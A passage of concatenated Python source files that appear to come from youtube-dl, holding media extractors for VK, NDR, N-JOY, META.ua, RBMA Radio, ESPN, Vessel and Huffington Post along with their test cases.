        'url': 'http://vk.com/videos205387401',
        'info_dict': {
            'id': '205387401',
            'title': "Tom Cruise's Videos",
        },
        'playlist_mincount': 4,
    }, {
        'url': 'http://vk.com/videos-77521',
        'only_matching': True,
    }, {
        'url': 'http://vk.com/videos-97664626?section=all',
        'only_matching': True,
    }, {
        'url': 'http://m.vk.com/videos205387401',
        'only_matching': True,
    }, {
        'url': 'http://new.vk.com/videos205387401',
        'only_matching': True,
    }]

    def _real_extract(self, url):
        page_id = self._match_id(url)

        webpage = self._download_webpage(url, page_id)

        entries = [
            self.url_result(
                'http://vk.com/video' + video_id, 'VK', video_id=video_id)
            for video_id in orderedSet(re.findall(r'href="/video(-?[0-9_]+)"', webpage))]

        title = unescapeHTML(self._search_regex(
            r'<title>\s*([^<]+?)\s+\|\s+\d+\s+videos',
            webpage, 'title', default=page_id))

        return self.playlist_result(entries, page_id, title)


class VKWallPostIE(VKBaseIE):
    IE_NAME = 'vk:wallpost'
    _VALID_URL = r'https?://(?:(?:(?:(?:m|new)\.)?vk\.com/(?:[^?]+\?.*\bw=)?wall(?P<id>-?\d+_\d+)))'
    _TESTS = [{
        # public page URL, audio playlist
        'url': 'https://vk.com/bs.official?w=wall-23538238_35',
        'info_dict': {
            'id': '23538238_35',
            'title': 'Black Shadow - Wall post 23538238_35',
            'description': 'md5:3f84b9c4f9ef499731cf1ced9998cc0c',
        },
        'playlist': [{
            'md5': '5ba93864ec5b85f7ce19a9af4af080f6',
            'info_dict': {
                'id': '135220665_111806521',
                'ext': 'mp3',
                'title': 'Black Shadow - Слепое Верование',
                'duration': 370,
                'uploader': 'Black Shadow',
                'artist': 'Black Shadow',
                'track': 'Слепое Верование',
            },
        }, {
            'md5': '4cc7e804579122b17ea95af7834c9233',
            'info_dict': {
                'id': '135220665_111802303',
                'ext': 'mp3',
                'title': 'Black Shadow - Война - Негасимое Бездны Пламя!',
                'duration': 423,
                'uploader': 'Black Shadow',
                'artist': 'Black Shadow',
                'track': 'Война - Негасимое Бездны Пламя!',
            },
            'params': {
                'skip_download': True,
            },
        }],
        'params': {
            'usenetrc': True,
        },
        'skip': 'Requires vk account credentials',
    }, {
        # single YouTube embed, no leading -
        'url': 'https://vk.com/wall85155021_6319',
        'info_dict': {
            'id': '85155021_6319',
            'title': 'Sergey Gorbunov - Wall post 85155021_6319',
        },
        'playlist_count': 1,
        'params': {
            'usenetrc': True,
        },
        'skip': 'Requires vk account credentials',
    }, {
        # wall page URL
        'url': 'https://vk.com/wall-23538238_35',
        'only_matching': True,
    }, {
        # mobile wall page URL
        'url': 'https://m.vk.com/wall-23538238_35',
        'only_matching': True,
    }]

    def _real_extract(self, url):
        post_id = self._match_id(url)

        wall_url = 'https://vk.com/wall%s' % post_id

        post_id = remove_start(post_id, '-')

        webpage = self._download_webpage(wall_url, post_id)

        error = self._html_search_regex(
            r'>Error</div>\s*<div[^>]+class=["\']body["\'][^>]*>([^<]+)',
            webpage, 'error', default=None)
        if error:
            raise ExtractorError('VK said: %s' % error, expected=True)

        description = clean_html(get_element_by_class('wall_post_text', webpage))
        uploader = clean_html(get_element_by_class('author', webpage))
        thumbnail = self._og_search_thumbnail(webpage)

        entries = []

        audio_ids = re.findall(r'data-full-id=["\'](\d+_\d+)', webpage)
        if audio_ids:
            al_audio = self._download_webpage(
                'https://vk.com/al_audio.php', post_id,
                note='Downloading audio info', fatal=False,
                data=urlencode_postdata({
                    'act': 'reload_audio',
                    'al': '1',
                    'ids': ','.join(audio_ids)
                }))
            if al_audio:
                Audio = collections.namedtuple(
                    'Audio', ['id', 'user_id', 'url', 'track', 'artist', 'duration'])
                audios = self._parse_json(
                    self._search_regex(
                        r'<!json>(.+?)<!>', al_audio, 'audios', default='[]'),
                    post_id, fatal=False, transform_source=unescapeHTML)
                if isinstance(audios, list):
                    for audio in audios:
                        a = Audio._make(audio[:6])
                        entries.append({
                            'id': '%s_%s' % (a.user_id, a.id),
                            'url': a.url,
                            'title': '%s - %s' % (a.artist, a.track) if a.artist and a.track else a.id,
                            'thumbnail': thumbnail,
                            'duration': a.duration,
                            'uploader': uploader,
                            'artist': a.artist,
                            'track': a.track,
                        })

        for video in re.finditer(
                r'<a[^>]+href=(["\'])(?P<url>/video(?:-?[\d_]+).*?)\1', webpage):
            entries.append(self.url_result(
                compat_urlparse.urljoin(url, video.group('url')), VKIE.ie_key()))

        title = 'Wall post %s' % post_id

        return self.playlist_result(
            orderedSet(entries), post_id,
            '%s - %s' % (uploader, title) if uploader else title,
            description)






# coding: utf-8
from __future__ import unicode_literals

import re

from .common import InfoExtractor
from ..utils import (
    determine_ext,
    int_or_none,
    parse_iso8601,
    qualities,
)


class NDRBaseIE(InfoExtractor):
    def _real_extract(self, url):
        mobj = re.match(self._VALID_URL, url)
        display_id = next(group for group in mobj.groups() if group)
        webpage = self._download_webpage(url, display_id)
        return self._extract_embed(webpage, display_id)


class NDRIE(NDRBaseIE):
    IE_NAME = 'ndr'
    IE_DESC = 'NDR.de - Norddeutscher Rundfunk'
    _VALID_URL = r'https?://www\.ndr\.de/(?:[^/]+/)*(?P<id>[^/?#]+),[\da-z]+\.html'
    _TESTS = [{
        # httpVideo, same content id
        'url': 'http://www.ndr.de/fernsehen/Party-Poette-und-Parade,hafengeburtstag988.html',
        'md5': '6515bc255dc5c5f8c85bbc38e035a659',
        'info_dict': {
            'id': 'hafengeburtstag988',
            'display_id': 'Party-Poette-und-Parade',
            'ext': 'mp4',
            'title': 'Party, Pötte und Parade',
            'description': 'md5:ad14f9d2f91d3040b6930c697e5f6b4c',
            'uploader': 'ndrtv',
            'timestamp': 1431108900,
            'upload_date': '20150510',
            'duration': 3498,
        },
        'params': {
            'skip_download': True,
        },
    }, {
        # httpVideo, different content id
        'url': 'http://www.ndr.de/sport/fussball/40-Osnabrueck-spielt-sich-in-einen-Rausch,osna270.html',
        'md5': '1043ff203eab307f0c51702ec49e9a71',
        'info_dict': {
            'id': 'osna272',
            'display_id': '40-Osnabrueck-spielt-sich-in-einen-Rausch',
            'ext': 'mp4',
            'title': 'Osnabrück - Wehen Wiesbaden: Die Highlights',
            'description': 'md5:32e9b800b3d2d4008103752682d5dc01',
            'uploader': 'ndrtv',
            'timestamp': 1442059200,
            'upload_date': '20150912',
            'duration': 510,
        },
        'params': {
            'skip_download': True,
        },
    }, {
        # httpAudio, same content id
        'url': 'http://www.ndr.de/info/La-Valette-entgeht-der-Hinrichtung,audio51535.html',
        'md5': 'bb3cd38e24fbcc866d13b50ca59307b8',
        'info_dict': {
            'id': 'audio51535',
            'display_id': 'La-Valette-entgeht-der-Hinrichtung',
            'ext': 'mp3',
            'title': 'La Valette entgeht der Hinrichtung',
            'description': 'md5:22f9541913a40fe50091d5cdd7c9f536',
            'uploader': 'ndrinfo',
            'timestamp': 1290626100,
            'upload_date': '20140729',
            'duration': 884,
        },
        'params': {
            'skip_download': True,
        },
    }, {
        'url': 'https://www.ndr.de/Fettes-Brot-Ferris-MC-und-Thees-Uhlmann-live-on-stage,festivalsommer116.html',
        'only_matching': True,
    }]

    def _extract_embed(self, webpage, display_id):
        embed_url = self._html_search_meta(
            'embedURL', webpage, 'embed URL', fatal=True)
        description = self._search_regex(
            r'<p[^>]+itemprop="description">([^<]+)</p>',
            webpage, 'description', default=None) or self._og_search_description(webpage)
        timestamp = parse_iso8601(
            self._search_regex(
                r'<span[^>]+itemprop="(?:datePublished|uploadDate)"[^>]+content="([^"]+)"',
                webpage, 'upload date', fatal=False))
        return {
            '_type': 'url_transparent',
            'url': embed_url,
            'display_id': display_id,
            'description': description,
            'timestamp': timestamp,
        }


class NJoyIE(NDRBaseIE):
    IE_NAME = 'njoy'
    IE_DESC = 'N-JOY'
    _VALID_URL = r'https?://www\.n-joy\.de/(?:[^/]+/)*(?:(?P<display_id>[^/?#]+),)?(?P<id>[\da-z]+)\.html'
    _TESTS = [{
        # httpVideo, same content id
        'url': 'http://www.n-joy.de/entertainment/comedy/comedy_contest/Benaissa-beim-NDR-Comedy-Contest,comedycontest2480.html',
        'md5': 'cb63be60cd6f9dd75218803146d8dc67',
        'info_dict': {
            'id': 'comedycontest2480',
            'display_id': 'Benaissa-beim-NDR-Comedy-Contest',
            'ext': 'mp4',
            'title': 'Benaissa beim NDR Comedy Contest',
            'description': 'md5:f057a6c4e1c728b10d33b5ffd36ddc39',
            'uploader': 'ndrtv',
            'upload_date': '20141129',
            'duration': 654,
        },
        'params': {
            'skip_download': True,
        },
    }, {
        # httpVideo, different content id
        'url': 'http://www.n-joy.de/musik/Das-frueheste-DJ-Set-des-Nordens-live-mit-Felix-Jaehn-,felixjaehn168.html',
        'md5': '417660fffa90e6df2fda19f1b40a64d8',
        'info_dict': {
            'id': 'dockville882',
            'display_id': 'Das-frueheste-DJ-Set-des-Nordens-live-mit-Felix-Jaehn-',
            'ext': 'mp4',
            'title': '"Ich hab noch nie" mit Felix Jaehn',
            'description': 'md5:85dd312d53be1b99e1f998a16452a2f3',
            'uploader': 'njoy',
            'upload_date': '20150822',
            'duration': 211,
        },
        'params': {
            'skip_download': True,
        },
    }, {
        'url': 'http://www.n-joy.de/radio/webradio/morningshow209.html',
        'only_matching': True,
    }]

    def _extract_embed(self, webpage, display_id):
        video_id = self._search_regex(
            r'<iframe[^>]+id="pp_([\da-z]+)"', webpage, 'embed id')
        description = self._search_regex(
            r'<div[^>]+class="subline"[^>]*>[^<]+</div>\s*<p>([^<]+)</p>',
            webpage, 'description', fatal=False)
        return {
            '_type': 'url_transparent',
            'ie_key': 'NDREmbedBase',
            'url': 'ndr:%s' % video_id,
            'display_id': display_id,
            'description': description,
        }


class NDREmbedBaseIE(InfoExtractor):
    IE_NAME = 'ndr:embed:base'
    _VALID_URL = r'(?:ndr:(?P<id_s>[\da-z]+)|https?://www\.ndr\.de/(?P<id>[\da-z]+)-ppjson\.json)'
    _TESTS = [{
        'url': 'ndr:soundcheck3366',
        'only_matching': True,
    }, {
        'url': 'http://www.ndr.de/soundcheck3366-ppjson.json',
        'only_matching': True,
    }]

    def _real_extract(self, url):
        mobj = re.match(self._VALID_URL, url)
        video_id = mobj.group('id') or mobj.group('id_s')

        ppjson = self._download_json(
            'http://www.ndr.de/%s-ppjson.json' % video_id, video_id)

        playlist = ppjson['playlist']

        formats = []
        quality_key = qualities(('xs', 's', 'm', 'l', 'xl'))

        for format_id, f in playlist.items():
            src = f.get('src')
            if not src:
                continue
            ext = determine_ext(src, None)
            if ext == 'f4m':
                formats.extend(self._extract_f4m_formats(
                    src + '?hdcore=3.7.0&plugin=aasp-3.7.0.39.44', video_id, f4m_id='hds'))
            elif ext == 'm3u8':
                formats.extend(self._extract_m3u8_formats(
                    src, video_id, 'mp4', m3u8_id='hls', entry_protocol='m3u8_native'))
            else:
                quality = f.get('quality')
                ff = {
                    'url': src,
                    'format_id': quality or format_id,
                    'quality': quality_key(quality),
                }
                type_ = f.get('type')
                if type_ and type_.split('/')[0] == 'audio':
                    ff['vcodec'] = 'none'
                    ff['ext'] = ext or 'mp3'
                formats.append(ff)
        self._sort_formats(formats)

        config = playlist['config']

        live = playlist.get('config', {}).get('streamType') in ['httpVideoLive', 'httpAudioLive']
        title = config['title']
        if live:
            title = self._live_title(title)
        uploader = ppjson.get('config', {}).get('branding')
        upload_date = ppjson.get('config', {}).get('publicationDate')
        duration = int_or_none(config.get('duration'))

        thumbnails = [{
            'id': thumbnail.get('quality') or thumbnail_id,
            'url': thumbnail['src'],
            'preference': quality_key(thumbnail.get('quality')),
        } for thumbnail_id, thumbnail in config.get('poster', {}).items() if thumbnail.get('src')]

        return {
            'id': video_id,
            'title': title,
            'is_live': live,
            'uploader': uploader if uploader != '-' else None,
            'upload_date': upload_date[0:8] if upload_date else None,
            'duration': duration,
            'thumbnails': thumbnails,
            'formats': formats,
        }


class NDREmbedIE(NDREmbedBaseIE):
    IE_NAME = 'ndr:embed'
    _VALID_URL = r'https?://www\.ndr\.de/(?:[^/]+/)*(?P<id>[\da-z]+)-(?:player|externalPlayer)\.html'
    _TESTS = [{
        'url': 'http://www.ndr.de/fernsehen/sendungen/ndr_aktuell/ndraktuell28488-player.html',
        'md5': '8b9306142fe65bbdefb5ce24edb6b0a9',
        'info_dict': {
            'id': 'ndraktuell28488',
            'ext': 'mp4',
            'title': 'Norddeutschland begrüßt Flüchtlinge',
            'is_live': False,
            'uploader': 'ndrtv',
            'upload_date': '20150907',
            'duration': 132,
        },
    }, {
        'url': 'http://www.ndr.de/ndr2/events/soundcheck/soundcheck3366-player.html',
        'md5': '002085c44bae38802d94ae5802a36e78',
        'info_dict': {
            'id': 'soundcheck3366',
            'ext': 'mp4',
            'title': 'Ella Henderson braucht Vergleiche nicht zu scheuen',
            'is_live': False,
            'uploader': 'ndr2',
            'upload_date': '20150912',
            'duration': 3554,
        },
        'params': {
            'skip_download': True,
        },
    }, {
        'url': 'http://www.ndr.de/info/audio51535-player.html',
        'md5': 'bb3cd38e24fbcc866d13b50ca59307b8',
        'info_dict': {
            'id': 'audio51535',
            'ext': 'mp3',
            'title': 'La Valette entgeht der Hinrichtung',
            'is_live': False,
            'uploader': 'ndrinfo',
            'upload_date': '20140729',
            'duration': 884,
        },
        'params': {
            'skip_download': True,
        },
    }, {
        'url': 'http://www.ndr.de/fernsehen/sendungen/visite/visite11010-externalPlayer.html',
        'md5': 'ae57f80511c1e1f2fd0d0d3d31aeae7c',
        'info_dict': {
            'id': 'visite11010',
            'ext': 'mp4',
            'title': 'Visite - die ganze Sendung',
            'is_live': False,
            'uploader': 'ndrtv',
            'upload_date': '20150902',
            'duration': 3525,
        },
        'params': {
            'skip_download': True,
        },
    }, {
        # httpVideoLive
        'url': 'http://www.ndr.de/fernsehen/livestream/livestream217-externalPlayer.html',
        'info_dict': {
            'id': 'livestream217',
            'ext': 'flv',
            'title': 're:^NDR Fernsehen Niedersachsen \d{4}-\d{2}-\d{2} \d{2}:\d{2}$',
            'is_live': True,
            'upload_date': '20150910',
        },
        'params': {
            'skip_download': True,
        },
    }, {
        'url': 'http://www.ndr.de/ndrkultur/audio255020-player.html',
        'only_matching': True,
    }, {
        'url': 'http://www.ndr.de/fernsehen/sendungen/nordtour/nordtour7124-player.html',
        'only_matching': True,
    }, {
        'url': 'http://www.ndr.de/kultur/film/videos/videoimport10424-player.html',
        'only_matching': True,
    }, {
        'url': 'http://www.ndr.de/fernsehen/sendungen/hamburg_journal/hamj43006-player.html',
        'only_matching': True,
    }, {
        'url': 'http://www.ndr.de/fernsehen/sendungen/weltbilder/weltbilder4518-player.html',
        'only_matching': True,
    }, {
        'url': 'http://www.ndr.de/fernsehen/doku952-player.html',
        'only_matching': True,
    }]


class NJoyEmbedIE(NDREmbedBaseIE):
    IE_NAME = 'njoy:embed'
    _VALID_URL = r'https?://www\.n-joy\.de/(?:[^/]+/)*(?P<id>[\da-z]+)-(?:player|externalPlayer)_[^/]+\.html'
    _TESTS = [{
        # httpVideo
        'url': 'http://www.n-joy.de/events/reeperbahnfestival/doku948-player_image-bc168e87-5263-4d6d-bd27-bb643005a6de_theme-n-joy.html',
        'md5': '8483cbfe2320bd4d28a349d62d88bd74',
        'info_dict': {
            'id': 'doku948',
            'ext': 'mp4',
            'title': 'Zehn Jahre Reeperbahn Festival - die Doku',
            'is_live': False,
            'upload_date': '20150807',
            'duration': 1011,
        },
    }, {
        # httpAudio
        'url': 'http://www.n-joy.de/news_wissen/stefanrichter100-player_image-d5e938b1-f21a-4b9a-86b8-aaba8bca3a13_theme-n-joy.html',
        'md5': 'd989f80f28ac954430f7b8a48197188a',
        'info_dict': {
            'id': 'stefanrichter100',
            'ext': 'mp3',
            'title': 'Interview mit einem Augenzeugen',
            'is_live': False,
            'uploader': 'njoy',
            'upload_date': '20150909',
            'duration': 140,
        },
        'params': {
            'skip_download': True,
        },
    }, {
        # httpAudioLive, no explicit ext
        'url': 'http://www.n-joy.de/news_wissen/webradioweltweit100-player_image-3fec0484-2244-4565-8fb8-ed25fd28b173_theme-n-joy.html',
        'info_dict': {
            'id': 'webradioweltweit100',
            'ext': 'mp3',
            'title': 're:^N-JOY Weltweit \d{4}-\d{2}-\d{2} \d{2}:\d{2}$',
            'is_live': True,
            'uploader': 'njoy',
            'upload_date': '20150810',
        },
        'params': {
            'skip_download': True,
        },
    }, {
        'url': 'http://www.n-joy.de/musik/dockville882-player_image-3905259e-0803-4764-ac72-8b7de077d80a_theme-n-joy.html',
        'only_matching': True,
    }, {
        'url': 'http://www.n-joy.de/radio/sendungen/morningshow/urlaubsfotos190-player_image-066a5df1-5c95-49ec-a323-941d848718db_theme-n-joy.html',
        'only_matching': True,
    }, {
        'url': 'http://www.n-joy.de/entertainment/comedy/krudetv290-player_image-ab261bfe-51bf-4bf3-87ba-c5122ee35b3d_theme-n-joy.html',
        'only_matching': True,
    }]






from __future__ import unicode_literals

import re

from .common import InfoExtractor
from ..utils import ExtractorError


class TestURLIE(InfoExtractor):
    """ Allows addressing of the test cases as test:yout.*be_1 """

    IE_DESC = False  # Do not list
    _VALID_URL = r'test(?:url)?:(?P<id>(?P<extractor>.+?)(?:_(?P<num>[0-9]+))?)$'

    def _real_extract(self, url):
        from ..extractor import gen_extractors

        mobj = re.match(self._VALID_URL, url)
        video_id = mobj.group('id')
        extractor_id = mobj.group('extractor')
        all_extractors = gen_extractors()

        rex = re.compile(extractor_id, flags=re.IGNORECASE)
        matching_extractors = [
            e for e in all_extractors if rex.search(e.IE_NAME)]

        if len(matching_extractors) == 0:
            raise ExtractorError(
                'No extractors matching %r found' % extractor_id,
                expected=True)
        elif len(matching_extractors) > 1:
            # Is it obvious which one to pick?
            try:
                extractor = next(
                    ie for ie in matching_extractors
                    if ie.IE_NAME.lower() == extractor_id.lower())
            except StopIteration:
                raise ExtractorError(
                    ('Found multiple matching extractors: %s' %
                        ' '.join(ie.IE_NAME for ie in matching_extractors)),
                    expected=True)
        else:
            extractor = matching_extractors[0]

        num_str = mobj.group('num')
        num = int(num_str) if num_str else 0

        testcases = []
        t = getattr(extractor, '_TEST', None)
        if t:
            testcases.append(t)
        testcases.extend(getattr(extractor, '_TESTS', []))

        try:
            tc = testcases[num]
        except IndexError:
            raise ExtractorError(
                ('Test case %d not found, got only %d tests' %
                    (num, len(testcases))),
                expected=True)

        self.to_screen('Test URL: %s' % tc['url'])

        return {
            '_type': 'url',
            'url': tc['url'],
            'id': video_id,
        }






# coding: utf-8
from __future__ import unicode_literals

from .common import InfoExtractor
from .pladform import PladformIE
from ..utils import (
    unescapeHTML,
    int_or_none,
    ExtractorError,
)


class METAIE(InfoExtractor):
    _VALID_URL = r'https?://video\.meta\.ua/(?:iframe/)?(?P<id>[0-9]+)'
    _TESTS = [{
        'url': 'http://video.meta.ua/5502115.video',
        'md5': '71b6f3ee274bef16f1ab410f7f56b476',
        'info_dict': {
            'id': '5502115',
            'ext': 'mp4',
            'title': 'Sony Xperia Z camera test [HQ]',
            'description': 'Xperia Z shoots video in FullHD HDR.',
            'uploader_id': 'nomobile',
            'uploader': 'CHЁZA.TV',
            'upload_date': '20130211',
        },
        'add_ie': ['Youtube'],
    }, {
        'url': 'http://video.meta.ua/iframe/5502115',
        'only_matching': True,
    }, {
        # pladform embed
        'url': 'http://video.meta.ua/7121015.video',
        'only_matching': True,
    }]

    def _real_extract(self, url):
        video_id = self._match_id(url)
        webpage = self._download_webpage(url, video_id)

        st_html5 = self._search_regex(
            r"st_html5\s*=\s*'#([^']+)'", webpage, 'uppod html5 st', default=None)

        if st_html5:
            # uppod st decryption algorithm is reverse engineered from function un(s) at uppod.js
            json_str = ''
            for i in range(0, len(st_html5), 3):
                json_str += '&#x0%s;' % st_html5[i:i + 3]
            uppod_data = self._parse_json(unescapeHTML(json_str), video_id)
            error = uppod_data.get('customnotfound')
            if error:
                raise ExtractorError('%s said: %s' % (self.IE_NAME, error), expected=True)

            video_url = uppod_data['file']
            info = {
                'id': video_id,
                'url': video_url,
                'title': uppod_data.get('comment') or self._og_search_title(webpage),
                'description': self._og_search_description(webpage, default=None),
                'thumbnail': uppod_data.get('poster') or self._og_search_thumbnail(webpage),
                'duration': int_or_none(self._og_search_property(
                    'video:duration', webpage, default=None)),
            }
            if 'youtube.com/' in video_url:
                info.update({
                    '_type': 'url_transparent',
                    'ie_key': 'Youtube',
                })
            return info

        pladform_url = PladformIE._extract_url(webpage)
        if pladform_url:
            return self.url_result(pladform_url)






from __future__ import unicode_literals

import re

from .common import InfoExtractor
from ..compat import compat_str
from ..utils import (
    clean_html,
    int_or_none,
    unified_timestamp,
    update_url_query,
)


class RBMARadioIE(InfoExtractor):
    _VALID_URL = r'https?://(?:www\.)?rbmaradio\.com/shows/(?P<show_id>[^/]+)/episodes/(?P<id>[^/?#&]+)'
    _TEST = {
        'url': 'https://www.rbmaradio.com/shows/main-stage/episodes/ford-lopatin-live-at-primavera-sound-2011',
        'md5': '6bc6f9bcb18994b4c983bc3bf4384d95',
        'info_dict': {
            'id': 'ford-lopatin-live-at-primavera-sound-2011',
            'ext': 'mp3',
            'title': 'Main Stage - Ford & Lopatin',
            'description': 'md5:4f340fb48426423530af5a9d87bd7b91',
            'thumbnail': 're:^https?://.*\.jpg',
            'duration': 2452,
            'timestamp': 1307103164,
            'upload_date': '20110603',
        },
    }

    def _real_extract(self, url):
        mobj = re.match(self._VALID_URL, url)
        show_id = mobj.group('show_id')
        episode_id = mobj.group('id')

        webpage = self._download_webpage(url, episode_id)

        episode = self._parse_json(
            self._search_regex(
                r'__INITIAL_STATE__\s*=\s*({.+?})\s*</script>',
                webpage, 'json data'),
            episode_id)['episodes'][show_id][episode_id]

        title = episode['title']

        show_title = episode.get('showTitle')
        if show_title:
            title = '%s - %s' % (show_title, title)

        formats = [{
            'url': update_url_query(episode['audioURL'], query={'cbr': abr}),
            'format_id': compat_str(abr),
            'abr': abr,
            'vcodec': 'none',
        } for abr in (96, 128, 256)]

        description = clean_html(episode.get('longTeaser'))
        thumbnail = self._proto_relative_url(episode.get('imageURL', {}).get('landscape'))
        duration = int_or_none(episode.get('duration'))
        timestamp = unified_timestamp(episode.get('publishedAt'))

        return {
            'id': episode_id,
            'title': title,
            'description': description,
            'thumbnail': thumbnail,
            'duration': duration,
            'timestamp': timestamp,
            'formats': formats,
        }






from __future__ import unicode_literals

from .common import InfoExtractor
from ..utils import remove_end


class ESPNIE(InfoExtractor):
    _VALID_URL = r'https?://espn\.go\.com/(?:[^/]+/)*(?P<id>[^/]+)'
    _TESTS = [{
        'url': 'http://espn.go.com/video/clip?id=10365079',
        'md5': '60e5d097a523e767d06479335d1bdc58',
        'info_dict': {
            'id': 'FkYWtmazr6Ed8xmvILvKLWjd4QvYZpzG',
            'ext': 'mp4',
            'title': '30 for 30 Shorts: Judging Jewell',
            'description': None,
        },
        'params': {
            'skip_download': True,
        },
        'add_ie': ['OoyalaExternal'],
    }, {
        # intl video, from http://www.espnfc.us/video/mls-highlights/150/video/2743663/must-see-moments-best-of-the-mls-season
        'url': 'http://espn.go.com/video/clip?id=2743663',
        'md5': 'f4ac89b59afc7e2d7dbb049523df6768',
        'info_dict': {
            'id': '50NDFkeTqRHB0nXBOK-RGdSG5YQPuxHg',
            'ext': 'mp4',
            'title': 'Must-See Moments: Best of the MLS season',
        },
        'params': {
            'skip_download': True,
        },
        'add_ie': ['OoyalaExternal'],
    }, {
        'url': 'https://espn.go.com/video/iframe/twitter/?cms=espn&id=10365079',
        'only_matching': True,
    }, {
        'url': 'http://espn.go.com/nba/recap?gameId=400793786',
        'only_matching': True,
    }, {
        'url': 'http://espn.go.com/blog/golden-state-warriors/post/_/id/593/how-warriors-rapidly-regained-a-winning-edge',
        'only_matching': True,
    }, {
        'url': 'http://espn.go.com/sports/endurance/story/_/id/12893522/dzhokhar-tsarnaev-sentenced-role-boston-marathon-bombings',
        'only_matching': True,
    }, {
        'url': 'http://espn.go.com/nba/playoffs/2015/story/_/id/12887571/john-wall-washington-wizards-no-swelling-left-hand-wrist-game-5-return',
        'only_matching': True,
    }]

    def _real_extract(self, url):
        video_id = self._match_id(url)

        webpage = self._download_webpage(url, video_id)

        video_id = self._search_regex(
            r'class=(["\']).*?video-play-button.*?\1[^>]+data-id=["\'](?P<id>\d+)',
            webpage, 'video id', group='id')

        cms = 'espn'
        if 'data-source="intl"' in webpage:
            cms = 'intl'
        player_url = 'https://espn.go.com/video/iframe/twitter/?id=%s&cms=%s' % (video_id, cms)
        player = self._download_webpage(
            player_url, video_id)

        pcode = self._search_regex(
            r'["\']pcode=([^"\']+)["\']', player, 'pcode')

        title = remove_end(
            self._og_search_title(webpage),
            '- ESPN Video').strip()

        return {
            '_type': 'url_transparent',
            'url': 'ooyalaexternal:%s:%s:%s' % (cms, video_id, pcode),
            'ie_key': 'OoyalaExternal',
            'title': title,
        }






# coding: utf-8
from __future__ import unicode_literals

import json
import re

from .common import InfoExtractor
from ..utils import (
    ExtractorError,
    parse_iso8601,
    sanitized_Request,
)


class VesselIE(InfoExtractor):
    _VALID_URL = r'https?://(?:www\.)?vessel\.com/(?:videos|embed)/(?P<id>[0-9a-zA-Z]+)'
    _API_URL_TEMPLATE = 'https://www.vessel.com/api/view/items/%s'
    _LOGIN_URL = 'https://www.vessel.com/api/account/login'
    _NETRC_MACHINE = 'vessel'
    _TESTS = [{
        'url': 'https://www.vessel.com/videos/HDN7G5UMs',
        'md5': '455cdf8beb71c6dd797fd2f3818d05c4',
        'info_dict': {
            'id': 'HDN7G5UMs',
            'ext': 'mp4',
            'title': 'Nvidia GeForce GTX Titan X - The Best Video Card on the Market?',
            'thumbnail': 're:^https?://.*\.jpg$',
            'upload_date': '20150317',
            'description': 'Did Nvidia pull out all the stops on the Titan X, or does its performance leave something to be desired?',
            'timestamp': int,
        },
    }, {
        'url': 'https://www.vessel.com/embed/G4U7gUJ6a?w=615&h=346',
        'only_matching': True,
    }]

    @staticmethod
    def _extract_urls(webpage):
        return [url for _, url in re.findall(
            r'<iframe[^>]+src=(["\'])((?:https?:)?//(?:www\.)?vessel\.com/embed/[0-9a-zA-Z]+.*?)\1',
            webpage)]

    @staticmethod
    def make_json_request(url, data):
        payload = json.dumps(data).encode('utf-8')
        req = sanitized_Request(url, payload)
        req.add_header('Content-Type', 'application/json; charset=utf-8')
        return req

    @staticmethod
    def find_assets(data, asset_type, asset_id=None):
        for asset in data.get('assets', []):
            if not asset.get('type') == asset_type:
                continue
            elif asset_id is not None and not asset.get('id') == asset_id:
                continue
            else:
                yield asset

    def _check_access_rights(self, data):
        access_info = data.get('__view', {})
        if not access_info.get('allow_access', True):
            err_code = access_info.get('error_code') or ''
            if err_code == 'ITEM_PAID_ONLY':
                raise ExtractorError(
                    'This video requires subscription.', expected=True)
            else:
                raise ExtractorError(
                    'Access to this content is restricted. (%s said: %s)' % (self.IE_NAME, err_code), expected=True)

    def _login(self):
        (username, password) = self._get_login_info()
        if username is None:
            return
        self.report_login()
        data = {
            'client_id': 'web',
            'type': 'password',
            'user_key': username,
            'password': password,
        }
        login_request = VesselIE.make_json_request(self._LOGIN_URL, data)
        self._download_webpage(login_request, None, False, 'Wrong login info')

    def _real_initialize(self):
        self._login()

    def _real_extract(self, url):
        video_id = self._match_id(url)

        webpage = self._download_webpage(url, video_id)
        data = self._parse_json(self._search_regex(
            r'App\.bootstrapData\((.*?)\);', webpage, 'data'), video_id)
        asset_id = data['model']['data']['id']

        req = VesselIE.make_json_request(
            self._API_URL_TEMPLATE % asset_id, {'client': 'web'})
        data = self._download_json(req, video_id)
        video_asset_id = data.get('main_video_asset')

        self._check_access_rights(data)

        try:
            video_asset = next(
                VesselIE.find_assets(data, 'video', asset_id=video_asset_id))
        except StopIteration:
            raise ExtractorError('No video assets found')

        formats = []
        for f in video_asset.get('sources', []):
            location = f.get('location')
            if not location:
                continue
            name = f.get('name')
            if name == 'hls-index':
                formats.extend(self._extract_m3u8_formats(
                    location, video_id, ext='mp4',
                    entry_protocol='m3u8_native', m3u8_id='m3u8', fatal=False))
            elif name == 'dash-index':
                formats.extend(self._extract_mpd_formats(
                    location, video_id, mpd_id='dash', fatal=False))
            else:
                formats.append({
                    'format_id': name,
                    'tbr': f.get('bitrate'),
                    'height': f.get('height'),
                    'width': f.get('width'),
                    'url': location,
                })
        self._sort_formats(formats)

        thumbnails = []
        for im_asset in VesselIE.find_assets(data, 'image'):
            thumbnails.append({
                'url': im_asset['location'],
                'width': im_asset.get('width', 0),
                'height': im_asset.get('height', 0),
            })

        return {
            'id': video_id,
            'title': data['title'],
            'formats': formats,
            'thumbnails': thumbnails,
            'description': data.get('short_description'),
            'duration': data.get('duration'),
            'comment_count': data.get('comment_count'),
            'like_count': data.get('like_count'),
            'view_count': data.get('view_count'),
            'timestamp': parse_iso8601(data.get('released_at')),
        }






from __future__ import unicode_literals

import re

from .common import InfoExtractor
from ..utils import (
    determine_ext,
    parse_duration,
    unified_strdate,
)


class HuffPostIE(InfoExtractor):
    IE_DESC = 'Huffington Post'
    _VALID_URL = r'''(?x)
        https?://(embed\.)?live\.huffingtonpost\.com/
        (?:
            r/segment/[^/]+/|
            HPLEmbedPlayer/\?segmentId=
        )
        (?P<id>[0-9a-f]+)'''

    _TEST = {
        'url': 'http://live.huffingtonpost.com/r/segment/legalese-it/52dd3e4b02a7602131000677',
        'md5': '55f5e8981c1c80a64706a44b74833de8',
        'info_dict': {
            'id': '52dd3e4b02a7602131000677',
            'ext': 'mp4',
            'title': 'Legalese It! with @MikeSacksHP',
            'description': 'This week on Legalese It, Mike talks to David Bosco about his new book on the ICC, "Rough Justice," he also discusses the Virginia AG\'s historic stance on gay marriage, the execution of Edgar Tamayo, the ICC\'s delay of Kenya\'s President and more.  ',
            'duration': 1549,
            'upload_date': '20140124',
        },
        'params': {
            # m3u8 download
